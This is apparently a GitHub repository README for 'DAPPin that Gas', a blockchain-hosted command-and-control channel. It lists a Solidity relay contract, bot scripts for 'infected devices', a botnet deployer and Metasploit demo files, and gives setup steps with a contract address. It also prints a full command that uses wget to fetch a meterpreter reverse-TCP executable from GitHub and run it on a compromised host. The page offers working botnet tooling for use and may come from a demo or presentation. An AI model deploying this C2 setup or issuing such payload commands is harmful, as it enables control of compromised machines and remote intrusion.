Skip to content

Cooperw/DAPPin_that_Gas

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

25 Commits
 
 
 
 
 
 
 
 
 
 

Repository files navigation

DAPPin that Gas | A Blockchain Enabled C2 Solution

A C2 solution that lives in the blockchain as a DAPP.

Core Contents:

  • SpectralCommandRelay.sol: Smart Contract that can be deployed to the blockchain to act as a C2 channel
  • bot_minimal.py: An incredibly simple endpoint for our C2 blockchain solution to be run on infected devices
  • bot_deployer.py: Script that generates & manages a local botnet
  • bot_template.py: Template for a more advanced endpoint for our C2 blockchain solution to be run on infected devices

Demo Contents:

  • SCR_Demo_Meter.rc: MSFConsole init script used in our local botnet demo
  • cleanup.sh: Script to cleanup any lingering meterpreter sessions after our demo

Presentation Contents:

How to Play

  • Get setup with a web3 wallet, the Metamask chrome plugin is pretty quick and straight forward
  • Grab SpectralCommandRelay.sol and paste it into https://remix.ethereum.org/.
  • Compile our .sol script
  • Switch your web3 provider to "Injected Web3" and set your network to the "Rinkeby" testchain.
  • Either deploy an instance of the relay or "Load at address" 0x69429FB223b3BA3D5823B980E590bF857a680c13
  • Grab some scratch on rinkeby and start sending commands

An Example command that installs and runs a meterpreter shell on an infected device which is running our bot_minimal.py script

0~wget https://github.com/Cooperw/meterpreter_executables/raw/main/linux_x64_meterpreter_reverse_tcp_local_4444.elf; chmod +x linux_x64_meterpreter_reverse_tcp_local_4444.elf; ./linux_x64_meterpreter_reverse_tcp_local_4444.elf

About

No description, website, or topics provided.

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published